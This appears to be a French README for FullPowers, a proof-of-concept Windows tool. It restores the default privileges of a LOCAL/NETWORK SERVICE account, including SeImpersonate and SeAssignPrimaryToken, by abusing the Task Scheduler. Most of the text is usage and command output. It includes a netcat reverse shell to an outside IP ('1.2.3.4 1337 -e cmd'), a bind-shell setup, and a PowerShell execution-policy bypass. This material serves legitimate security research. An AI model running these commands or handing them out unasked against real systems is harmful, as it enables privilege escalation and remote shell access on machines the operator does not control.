
Récupérer l'ensemble des privilèges par défaut d'un compte LOCAL/NETWORK SERVICE.
FullPowers est un outil Proof-of-Concept que j'ai créé pour récupérer automatiquement le jeu de privilèges par défaut d'un compte de service, y compris SeAssignPrimaryToken et SeImpersonate.
Sous Windows, certains services exécutés en tant que LOCAL SERVICE ou NETWORK SERVICE sont configurés pour fonctionner avec un ensemble restreint de privilèges. Par conséquent, même si le service est compromis, vous n'obtiendrez pas les privilèges d'emprunt d'identité (impersonation) et l'élévation de privilèges vers LOCAL SYSTEM devrait être plus compliquée. Cependant, j'ai découvert que, lorsque vous créez une tâche planifiée, le nouveau processus créé par le Service de planificateur de tâches dispose de tous les privilèges par défaut du compte utilisateur associé (sauf SeImpersonate). Ainsi, avec quelques manipulations de jetons, vous pouvez lancer un nouveau processus avec tous les privilèges manquants.
Pour plus d'informations : https://itm4n.github.io/localservice-privileges/
⚠️ Cet outil doit être exécuté uniquement en tant que LOCAL SERVICE ou NETWORK SERVICE.
Vous pouvez consulter le message d'aide à l'aide de l'option -h.
c:\TOOLS>FullPowers -h
FullPowers v0.1 (by @itm4n)
Cet outil exploite le Planificateur de tâches pour récupérer le jeu de privilèges par défaut d'un compte de service.
Pour plus d'informations : https://itm4n.github.io/localservice-privileges/
Arguments facultatifs :
-v Mode verbeux, utilisé principalement pour le débogage
-c <CMD> Ligne de commande personnalisée à exécuter (par défaut 'C:\Windows\System32\cmd.exe')
-x Tente d'obtenir le jeu de privilèges étendu (peut échouer avec NETWORK SERVICE)
-z Non interactif, crée un nouveau processus et se ferme (par défaut 'interagir avec le nouveau processus')
c:\TOOLS>FullPowers
[+] Tâche planifiée créée avec succès. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. Tous droits réservés.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Tâche planifiée créée avec succès. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. Tous droits réservés.
Essayez le nouveau PowerShell multiplateforme https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Tâche planifiée créée avec succès. PID=5482
[+] CreateProcessAsUser() OK
Vous voulez tester ce PoC vous-même ? Génial ! Voici quelques instructions simples pour commencer.
L'idée générale est de lancer un bindshell à partir du processus d'un service existant, de s'y connecter, puis d'exécuter l'exécutable.
upnphost.C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. Tous droits réservés.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
INFORMATIONS SUR LES PRIVILÈGES
-------------------------------
Nom du privilège Description État
========================= ===================================== =======
SeChangeNotifyPrivilege Ignorer le contrôle de traversée Activé
SeCreateGlobalPrivilege Créer des objets globaux Activé
c:\TOOLS>FullPowers
[+] Thread factice démarré avec l'ID 5568
[+] Tâche planifiée créée avec succès.
[+] Nouveau jeton obtenu ! Nombre de privilèges : 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. Tous droits réservés.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
INFORMATIONS SUR LES PRIVILÈGES
-------------------------------
Nom du privilège Description État
============================== ========================================= =======
SeAssignPrimaryTokenPrivilege Remplacer un jeton de niveau processus Activé
SeIncreaseQuotaPrivilege Ajuster les quotas de mémoire pour un processus Activé
SeAuditPrivilege Générer des audits de sécurité Activé
SeChangeNotifyPrivilege Ignorer le contrôle de traversée Activé
SeImpersonatePrivilege Emprunter l'identité d'un client après authentification Activé
SeCreateGlobalPrivilege Créer des objets globaux Activé
SeIncreaseWorkingSetPrivilege Augmenter le jeu de travail d'un processus Activé
Vous devriez maintenant disposer d'un shell avec les privilèges d'emprunt d'identité !